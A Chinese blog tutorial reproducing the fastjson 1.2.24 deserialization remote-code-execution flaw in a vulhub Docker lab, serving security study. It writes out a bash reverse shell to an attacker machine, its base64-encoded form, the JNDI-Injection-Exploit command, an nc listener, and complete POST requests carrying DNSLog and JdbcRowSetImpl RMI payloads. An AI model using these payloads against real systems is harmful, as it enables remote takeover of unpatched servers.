網(wǎng)絡(luò)安全等級(jí)保護(hù)百度熱搜seo
前言:
看了很多別人關(guān)于漏洞復(fù)現(xiàn)過(guò)程,很多博客過(guò)程簡(jiǎn)潔,有的過(guò)程過(guò)于復(fù)雜,比如看到寫(xiě)java代碼,用javac進(jìn)行編譯等等。所以我想寫(xiě)出比較詳細(xì)的漏洞復(fù)現(xiàn)過(guò)程。
一,漏洞介紹
1-1 fastjson是什么
fastjson是阿里巴巴的開(kāi)源JSON解析庫(kù),它可以解析JSON格式的字符串,支持將Java Bean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。即fastjson的主要功能就是將Java Bean序列化成JSON字符串,這樣得到字符串之后就可以通過(guò)數(shù)據(jù)庫(kù)等方式進(jìn)行持久化了
1-2 影響版本
fastjson <= 1.2.24
二,靶場(chǎng)搭建
靶場(chǎng)主機(jī):kali2023? 192.168.31.150
基于vulhub靶場(chǎng)搭建(靶場(chǎng)可以在github上下載或留言)
lscd vulhub-mastercd fastjsoncd 1.2.24-rce
?啟動(dòng)靶場(chǎng)需要dokcer環(huán)境,安裝docker請(qǐng)參考下面這篇文章?
docker及docker命令詳解_ANii_Aini的博客-CSDN博客docker及docker命令詳解;docker是一個(gè)軟件,是一個(gè)運(yùn)行與linux和windows上的軟件,用于創(chuàng)建、管理和編排容器;docker平臺(tái)就是一個(gè)軟件集裝箱化平臺(tái),是一個(gè)開(kāi)源的應(yīng)用容器引擎,讓開(kāi)發(fā)者可以打包他們的應(yīng)用以及依賴包到一個(gè)可移植的鏡像中,也可以實(shí)現(xiàn)虛擬化,并且容器之間不會(huì)有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790?spm=1001.2014.3001.5502docker裝完成以后,就可以用docker命令啟動(dòng)靶場(chǎng)了(在1.2.24-rce目錄下執(zhí)行)
docker-compose up -d
可以查看一下啟動(dòng)的容器
docker ps
?成功啟動(dòng)靶場(chǎng)了,把靶場(chǎng)鏡像的?8090端口映射到了本地8090端口,瀏覽器進(jìn)行訪問(wèn)
看到此頁(yè)面說(shuō)明靶場(chǎng)搭建完畢?
三,漏洞利用
3-1 漏洞驗(yàn)證
先用dnslog外帶方式驗(yàn)證一下漏洞存不存在
dnslog地址
DNSLog PlatformDNSLog平臺(tái)
http://www.dnslog.cn/
記住給的這個(gè)域名
然后對(duì)下面的192.168.31.150頁(yè)面抓包
源數(shù)據(jù)包如下
修改數(shù)據(jù)包?
請(qǐng)求方式GET改成POST
加上Content-Type:application/json 請(qǐng)求頭字段
加請(qǐng)求體數(shù)據(jù),內(nèi)容如下
{"a":{"@type":"java.net.Inet4Address","val":"申請(qǐng)的域名"}
}
修改后的請(qǐng)求包如下
POST / HTTP/1.1
Host: 192.168.31.150:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type:application/json
Connection: close
Content-Length: 84{"a":{"@type":"java.net.Inet4Address","val":"1ys8oo.dnslog.cn"}
}
點(diǎn)擊發(fā)送
再刷新dnslog頁(yè)面,查看有無(wú)變化?
發(fā)現(xiàn)有記錄了,能收到靶場(chǎng)發(fā)來(lái)的內(nèi)容,說(shuō)明存漏洞
3-2 getshell?
靶場(chǎng)主機(jī):kali2023? 192.168.31.150
攻擊機(jī)1:kali2022? 192.168.31.20
攻擊機(jī)2:kali2023 192.168.31.160
工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
工具下載地址:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
?
3-2-1 getshell思路圖解
3-2-2 搭建JNDI服務(wù)器?
2-1 準(zhǔn)備反向木馬
先準(zhǔn)備連接攻擊機(jī)2的反向木馬(192.168.31.160/4444)
bash -i >& /dev/tcp/192.168.31.160/4444 0>&1
2-2 對(duì)木馬進(jìn)行base64編碼
編碼是常見(jiàn)做法,比較保險(xiǎn),因?yàn)槟繕?biāo)服務(wù)器可能會(huì)對(duì)/ > & 等符號(hào)進(jìn)行過(guò)濾,編碼可以繞過(guò)這些問(wèn)題
推薦大家一個(gè)網(wǎng)站,用這個(gè)網(wǎng)站去編碼很方便?
Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec
?得到了編碼以后的結(jié)果為
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
?2-3 啟動(dòng)JNDI服務(wù)器
把下載好的工具放到攻擊機(jī)1上,啟動(dòng)服務(wù)器,用以下命令
(避坑:用kali2022或以下的主機(jī)運(yùn)行,由于jdk版本問(wèn)題kali2023后面會(huì)報(bào)錯(cuò),會(huì)出問(wèn)題)
(中間部分是準(zhǔn)備編碼后的木馬內(nèi)容,最后是攻擊機(jī)1的IP地址)
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A "192.168.31.20"
運(yùn)行成功后如下圖 ,看到的紫色的是生成的payload,過(guò)一會(huì)修改數(shù)據(jù)包的時(shí)候要用
3-2-3 攻擊機(jī)2監(jiān)聽(tīng)端口?
攻擊機(jī)2監(jiān)聽(tīng)4444端口等待靶場(chǎng)連接
nc -lvvp 4444
3-2-4 抓包,改包,發(fā)包
4-1 抓包
4-2 改包?
請(qǐng)求方式GET改成POST
加上Content-Type:application/json 請(qǐng)求頭字段
加請(qǐng)求體數(shù)據(jù),內(nèi)容如下
(注意替換payload)?
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.31.20:1099/j9ml3s","autoCommit":true}
}
?修改后的完整數(shù)據(jù)包如下
POST / HTTP/1.1
Host: 192.168.31.150:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type:application/json
Connection: close
Content-Length: 164{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.31.20:1099/j9ml3s","autoCommit":true}
}
3-2-5 發(fā)包
發(fā)完以后回來(lái)查看攻擊機(jī)1和攻擊機(jī)2?
攻擊機(jī)1:發(fā)現(xiàn)靶場(chǎng)確實(shí)去攻擊機(jī)1這里來(lái)拿木馬文件了
閉坑:如果你報(bào)了如下錯(cuò)誤,請(qǐng)換個(gè)jdk版本,或者換個(gè)主機(jī)(kali2022比較合適)?
攻擊機(jī)2:發(fā)現(xiàn)連接成功了,既getshell了
漏洞復(fù)現(xiàn)及利用過(guò)程到此結(jié)束?
如果想復(fù)現(xiàn)更多常見(jiàn)漏洞可以看看我寫(xiě)的其他漏洞復(fù)現(xiàn)博客,超詳細(xì)
如果有疑問(wèn),有問(wèn)題或者需要工具請(qǐng)留言
歡迎留言技術(shù)研究,討論